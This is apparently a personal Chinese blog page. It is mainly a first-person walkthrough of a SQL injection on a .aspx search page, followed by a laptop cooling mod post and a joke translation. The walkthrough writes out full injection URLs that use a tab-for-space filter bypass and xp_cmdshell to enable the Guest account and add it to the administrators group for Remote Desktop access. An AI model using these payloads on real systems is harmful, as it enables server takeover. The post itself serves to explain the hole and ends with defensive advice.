無標題文檔

典型的 SQL 注入过程

此漏洞已帮其修复,并知会当事人

SQL 注入 漏洞危害巨大,但 SQL 注入也经常的被发现,少不小心过滤不完全就有可能让整个应用陷入困境。

无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权。这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。

发现

https://friable.rocks/_/2009_11_11/1257999312.gif

访问某站点的搜索页面,发现输入单引号「'」就直接报错,这就说明这个页面存在 注入的可能。为了证实这点,首先闭合请求访问语句,然后对比返回结果的差异。

发现访问

http://foo/rss.aspx?keyword=lucky

以及

http://foo/rss.aspx?keyword=lucky'));--

都可以被执行,但是返回的结果不同。根据下面的错误信息,是注释掉了 ORDER BY 。

分析

根据上面的情况,能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步,尝试构建插入 SQL 语句

https://friable.rocks/_/2009_11_11/1257999379.gif

http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--

发现服务器的报错信息为 SQL 语句语法错误,SQL 构建不成功。几次尝试注入均不成功,于是休息下先把重点放到服务器本身

https://friable.rocks/_/2009_11_11/1257999485.png

扫描目标主机开放的端口,发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口,可以访问。万事俱备,看来思路还得回到如何利用这个 SQL 注入漏洞。

此时灵光一现,是不是服务器的脚本分割用户输入的空格(%20),然后组成 SQL 语句查询?那么将空格转换成 TAB(%09)试试看,重新发起请求

http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--

https://friable.rocks/_/2009_11_11/1257999508.png

并没有报错,说明判断是正确的。接下来的事情就好办了,调用 SQL 外部命令将 Guest 用户解禁并加入管理组。

提权

解禁 Guest 用户

http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'net%09user%09guest%09/active:yes';--

相当于服务器执行

net user guest /active:yes

再将 Guest 加入到管理员组

http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'net%09localgroup%09administrators%09guest%09/add';--

相当于服务器执行

net localgroup administrators guest /add

https://friable.rocks/_/2009_11_11/1257999460.gif

上述请求顺利执行成功,然后打开目标主机的远程登录,输入用户名「guest」密码为空登录,结果顺利登录 (运气和相貌都很重要 :P)。

重新关上 Guest 帐户,并通知主机管理员,至此攻击结束。

后记

正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议

  • 代码要对输入的参数做到充分的过滤,并尽可能得考虑极端情况
  • 错误信息尽可能的少,否则无关的人看不懂而有心的人就会提起兴趣
  • 不要以管理员的身份运行服务器进程
  • 某些情况下, net 命令 对于攻击者而言就是「微软牌」的木马
  • 严格控制远程登录访问者的来源
  • 如果可能的情况下,不是很推荐使用 Windows 作为服务器操作系统

-- EOF --

改造笔记本的散热系统

该死的惠普,有时候也是「实惠但不靠谱」,特别是散热方面。终于忍受不了我笔记本的散热 问题了,决定非要搞定这事。

从 Google 那儿得知原来 这款机子设计上有问题 , CPU 芯片和 GPU 芯片不在同一水平线上,因此 GPU 的散热无法直接通过金属散热片。更要 命的是惠普还用海绵将 GPU 和散热片垫起来(是怕压坏?),从而造成 GPU 的散热更加的 困难。

PC 的优势就这样发挥出来了, 三下五除二就用把螺丝刀将笔记本大卸八块 。拆开那销魂的主 板,发现事实果然如此。

https://friable.rocks/_/2009_11_05/456648171061.jpg

中间的灰色物质便是海绵垫,看得出其实惠普是给 GPU 留个散热片的位置,但不过间隙实 在太大,因此没派上用场。

https://friable.rocks/_/2009_11_05/897398170c3b.jpg

再来看看这块捣蛋鬼,现在 GPU 的发热量不比 CPU 低多少,难熬的还是用户自己。

去数码城搞定了散热硅胶以及相关的工具,里面的间隙我用的是硬币慢慢用锉刀和砂纸打磨 而成(别告发我破坏人民币呀)。

https://friable.rocks/_/2009_11_05/007738170a85.jpg

垫上打磨好的硬币,加上导热硅胶,使 GPU 直接和散热片接触(上面张为图例), 这样据说这样就能解决问题了。

重新装回去,这花了我不少的时间,到最后还多出四颗小螺丝、少了三颗大螺丝。 测试了下温度,发现平时稍微跑个大型程序 GPU 温度就能狂飙 100 摄氏度的情况大有改善。基本上一晚 上按照平时的使用情况,GPU 的温度始终没有超过 70 摄氏度。

https://friable.rocks/_/2009_11_05/470848170a74.jpg

垫了块硬币就能直接降温三四十度?!我对这个结果感到很惊讶 -- 惠普不会穷得连每 台机子加个硬币的成本都没有把,我文明用语。

好吧,总结下今晚折腾的心得

  • 将笔记本风扇清理干净,能让耳根清静不少
  • 硬币一定要打磨光滑,尽可能大的增加与芯片的接触面积(我用的是 800 号的砂纸)。
  • 最好是人民币一毛钱,因为它是铝制的。不过近些年的一毛钱硬币都是合金的了,所以最好用前几年的(铝制硬币要相对灰暗些,当然那如果你不差钱,用银币那更好)。
  • 拆机的时候要记住螺丝的位置呀,否则要像我一样现在总想着要从哪里拆三颗螺丝下来。
  • IBM 不做 PC 了,现在买什么牌子的 PC 笔记本真的很让人纠结。
  • 买惠普一定要买商务机,不要像我贪便宜搞了台家用机活受罪。

最后,笔记本的散热问题一定要早解决,否则烤大腿是小事,影响子孙后代的质量可就是大 事了。

-- EOF --

便槽协议的脆弱性

标题党下,其实这篇是伪科学文章。老外老外能将生涩的算法举例得如此的生动,着实让我感到佩服。这篇文章只为 博君一笑,所以翻译方面就不用那么严谨啦,嘿嘿~

原文链接: http://blag.xkcd.com/2009/09/02/urinal-protocol-vulnerability/ 的评论也很精彩,在这里摘抄些:

  • 「在印度,厕所的背面有块非常大的墙,而且我不知道什么原因,他们总喜欢在后面放块镜子。」 via beli
  • 「为什么我们要反对共用一个便池?」 via Richard
  • 「其实当你真正‘着急’的时候,你就顾不了那么多了,无论前方是个便槽还是颗树」 via canvas
  • 「是否可以将便槽协议(urinal protocol)缩写成 UP/IP 协议?(这个恐怕学计算机的人听的懂)」 via Sophmoric

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 要知道作为码农取名是件很难的事情,所以不想在取名这事情上太费心思。

作为八零后,自认为还仅存点点可能不怎么被理解的幽默感,以及对平淡生活的追求和向往。 为了避免不必要的麻烦,声明本站所输出的内容以及观点仅代表个人,不代表自己所服务公司或组织的任何立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQG91dGxvb2suY29tCg== | base64 -d`

分类

搜索

文章